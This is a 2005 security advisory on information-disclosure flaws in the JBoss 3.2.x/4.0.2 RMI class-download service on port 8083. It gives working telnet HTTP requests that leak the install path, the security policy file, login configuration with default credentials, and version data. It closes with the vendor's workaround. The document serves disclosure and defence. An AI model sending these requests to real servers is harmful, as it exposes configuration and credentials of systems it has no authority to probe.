Security Advisory: JBOSS 3.2.2-3.2.7 / 4.0.2 installation path
disclosure / config disclosure / version fingerprinting
Date: 14/06/05
URL: http://www.illegalaccess.org/java/jboss_path.php

Problem:
The default installation of JBoss reveals the path of the installation
directory and
allows fingerprinting of the server software version by an
unauthenticated HTTP request.
This is due to an information leak bug in the org.jboss.web.WebServer
class.
Unfortunately the JBoss developers did not follow the pattern of
software reuse
and invented their own webserver for RMI code download. The implementation
when confronted with an expected HTTP request such as 'GET %.' reveals
system platform information useful for an attacker. Due to the
classloader architecture
the RMI class download service on port 8083 also allows an attacker to
fingerprint
the version of the JBoss server and with version 4.0.2 to download all
config files such
as the security settings from the /conf directory.

Example 1 (Installation path disclosure): [3.2.x and 4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %. HTTP/1.0

Reply:
HTTP/1.0 400 C:\Programme\jboss-4.0.2\server\default\conf (Zugriff
verweigert)
Content-Type: text/html

Example 2 (Config file download): [4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %server.policy HTTP/1.0

Replz>

HTTP/1.0 200 OK
Content-Length: 550
Content-Type: text/html

///
====================================================================== ///
//
//
// JBoss Security Policy //
// //
///
====================================================================== ///

// $Id: server.policy,v 1.4 2003/08/27 04:31:53 patriot1burke Exp $
grant {
// Allow everything for now
permission java.security.AllPermission;
};
Verbindung zu Host verloren.

Example 3 (Login config disclosure): [3.2.x and 4.0.2]:
Request
>> telnet [jbosshost] 8083
>> GET %login-config.xml

HTTP/1.0 200 OK
Content-Length: 6692
Content-Type: text/html
<?xml version='1.0'?>
<!DOCTYPE policy PUBLIC
"-//JBoss//DTD JBOSS Security Config 3.0//EN"
"http://www.jboss.org/j2ee/dtd/security_config.dtd&quot;&gt;
[…]
<!-- Security domains for testing new jca framework –>
<application-policy name = "HsqlDbRealm">
<authentication>
<login-module code =
"org.jboss.resource.security.ConfiguredIdentityLoginModule"
flag = "required">
<module-option name = "principal">sa</module-option>
<module-option name = "userName">sa</module-option>
<module-option name = "password"></module-option>
<module-option name =
"managedConnectionFactoryName">jboss.jca:service=LocalTxCM,name=DefaultDS</module-option>

    </login-module>
 </authentication>

</application-policy>

<application-policy name = "JmsXARealm">
<authentication>
<login-module code =
"org.jboss.resource.security.ConfiguredIdentityLoginModule"
flag = "required">
<module-option name = "principal">guest</module-option>
<module-option name = "userName">guest</module-option>
<module-option name = "password">guest</module-option>
<module-option name =
"managedConnectionFactoryName">jboss.jca:service=TxCM,name=JmsXA</module-option>

    </login-module>
 </authentication>

</application-policy>
[…]

Example 4 (Version fingerprint): [3.2.x and 4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %org/jboss/version.properties HTTP/1.0

Reply:
HTTP/1.0 200 OK
Content-Length: 1138
Content-Type: text/html

====================================================================== ###

Holds version properties for

JBoss. ##

====================================================================== ###

$Id: version.properties,v 1.1.26.1 2004/10/17 21:20:13 starksm Exp $

The version of the server

version.major=4
version.minor=0
version.revision=2
version.tag=
version.name=Zion
version.cvstag=JBoss_4_0_2

Build identifiers

build.number=200505022023

[and so on]

Severity:
Risk of information leakage.

Workaround:
The JBoss group was contacted on 6/12/05 and reacted with the suggestion
to completely disable the
download of server classes. But this brutal fix severely damages the
functionality and usefulness
of the application server :-( . It seems that they do not consider this
to be a bug that needs
a fix. I leave this uncommented… but anyway the following XML snippets
demonstrates their fix…

<mbean code="org.jboss.web.WebService"
name="jboss:service=WebService">
<attribute name="Port">8083</attribute>
<!-- Should resources and non-EJB classes be downloadable –>
<!-- old <attribute name="DownloadServerClasses">true</attribute> –>
<!-- new –> <attribute name="DownloadServerClasses">false</attribute>
<attribute name="Host">${jboss.bind.address}</attribute>
<attribute name="BindAddress">${jboss.bind.address}</attribute>
</mbean>